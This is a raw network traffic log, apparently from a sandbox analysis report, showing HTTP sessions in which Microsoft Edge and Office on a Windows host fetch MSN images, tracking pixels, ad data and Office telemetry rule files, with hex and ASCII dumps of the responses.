2024-11-23 08:17:02 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49919	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=277879 Expires: Tue, 26 Nov 2024 13:28:20 GMT Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close
2024-11-23 08:17:02 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49916	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=176461 Expires: Mon, 25 Nov 2024 09:18:02 GMT Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close
2024-11-23 08:17:02 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49921	20.110.205.119	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	1261	OUT	GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&MUID=1124054842946B4F2DE61008433C6A40 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1; SM=T
2024-11-23 08:17:02 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1124054842946B4F2DE61008433C6A40; domain=.msn.com; expires=Thu, 18-Dec-2025 08:17:02 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1124054842946B4F2DE61008433C6A40; domain=c.msn.com; expires=Thu, 18-Dec-2025 08:17:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 30-Nov-2024 08:17:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 08:27:02 GMT; path=/; SameSite=None; Secure; Date: Sat, 23 Nov 2024 08:17:01 GMT Connection: close Content-Length: 42
2024-11-23 08:17:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081702Z-178bfbc474b9xljthC1NYCtw94000000045g000000002uzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:02 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081702Z-178bfbc474bmqmgjhC1NYCy16c00000004a0000000004h0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081703Z-178bfbc474bq2pr7hC1NYCkfgg00000004eg000000000hey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081703Z-174c587ffdfldtt2hC1TEBwv9c00000002cg00000000hshv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:02 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081703Z-15b8b599d885ffrhhC1TEBtuv000000002rg000000007up7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49930	23.101.168.44	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:03 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1124054842946B4F2DE61008433C6A40&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=7501e56a7d414249f7dd1b747ba75a6b HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 08:17:04 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2728 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132637-T700344098-C128000000002113889+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113889+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 08:17:03 GMT Connection: close
2024-11-23 08:17:04 UTC	2728	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 53 68 61 6e 67 68 61 69 2c 20 43 68 69 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 5a 61 68 61 2b 48 61 64 69 64 26 66 69 6c 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Shanghai, China\",\"cta\":\"https:\/\/www.bing.com\/search?q=Zaha+Hadid&filt

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081704Z-178bfbc474bnwsh4hC1NYC2ubs00000004cg0000000000av x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data 